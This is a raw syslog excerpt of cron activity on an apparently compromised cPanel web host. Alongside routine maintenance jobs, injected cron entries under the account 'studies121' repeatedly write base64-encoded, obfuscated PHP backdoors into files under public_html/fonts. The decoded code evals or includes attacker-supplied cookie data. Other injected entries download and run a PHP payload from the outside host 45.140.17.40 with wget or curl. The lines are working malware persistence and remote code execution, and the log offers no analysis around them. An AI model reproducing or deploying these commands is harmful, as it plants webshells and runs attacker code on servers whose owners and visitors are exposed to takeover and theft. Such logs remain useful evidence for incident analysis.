Sep 22 04:27:01 ip-184-168-122-23 CROND[14678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:28:01 ip-184-168-122-23 CROND[14870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:28:01 ip-184-168-122-23 CROND[14872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:28:01 ip-184-168-122-23 CROND[14874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:28:01 ip-184-168-122-23 CROND[14873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:28:01 ip-184-168-122-23 CROND[14875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:29:01 ip-184-168-122-23 CROND[15070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:29:01 ip-184-168-122-23 CROND[15072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:29:01 ip-184-168-122-23 CROND[15071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:29:01 ip-184-168-122-23 CROND[15075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15192]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:30:01 ip-184-168-122-23 CROND[15196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15198]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:30:01 ip-184-168-122-23 CROND[15202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15203]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 22 04:30:01 ip-184-168-122-23 CROND[15197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:31:01 ip-184-168-122-23 CROND[15388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:31:01 ip-184-168-122-23 CROND[15392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:31:01 ip-184-168-122-23 CROND[15393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:31:01 ip-184-168-122-23 CROND[15391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:31:01 ip-184-168-122-23 CROND[15390]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 04:32:01 ip-184-168-122-23 CROND[15513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:32:01 ip-184-168-122-23 CROND[15515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:32:01 ip-184-168-122-23 CROND[15516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:32:01 ip-184-168-122-23 CROND[15517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:32:01 ip-184-168-122-23 CROND[15519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:33:01 ip-184-168-122-23 CROND[15629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:33:01 ip-184-168-122-23 CROND[15628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:33:01 ip-184-168-122-23 CROND[15627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:33:01 ip-184-168-122-23 CROND[15630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:34:01 ip-184-168-122-23 CROND[15775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:34:01 ip-184-168-122-23 CROND[15777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:34:01 ip-184-168-122-23 CROND[15779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:34:01 ip-184-168-122-23 CROND[15780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:34:01 ip-184-168-122-23 CROND[15778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16052]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16060]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:35:01 ip-184-168-122-23 CROND[16064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:35:01 ip-184-168-122-23 CROND[16065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:36:01 ip-184-168-122-23 CROND[16222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:36:01 ip-184-168-122-23 CROND[16221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:36:01 ip-184-168-122-23 CROND[16223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:36:01 ip-184-168-122-23 CROND[16224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:36:01 ip-184-168-122-23 CROND[16226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:37:01 ip-184-168-122-23 CROND[16459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:37:01 ip-184-168-122-23 CROND[16458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:37:01 ip-184-168-122-23 CROND[16460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:37:01 ip-184-168-122-23 CROND[16462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:38:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 22 04:38:01 ip-184-168-122-23 CROND[16592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:38:01 ip-184-168-122-23 CROND[16590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:38:01 ip-184-168-122-23 CROND[16591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:38:01 ip-184-168-122-23 CROND[16593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:38:01 ip-184-168-122-23 CROND[16594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:39:01 ip-184-168-122-23 CROND[16761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
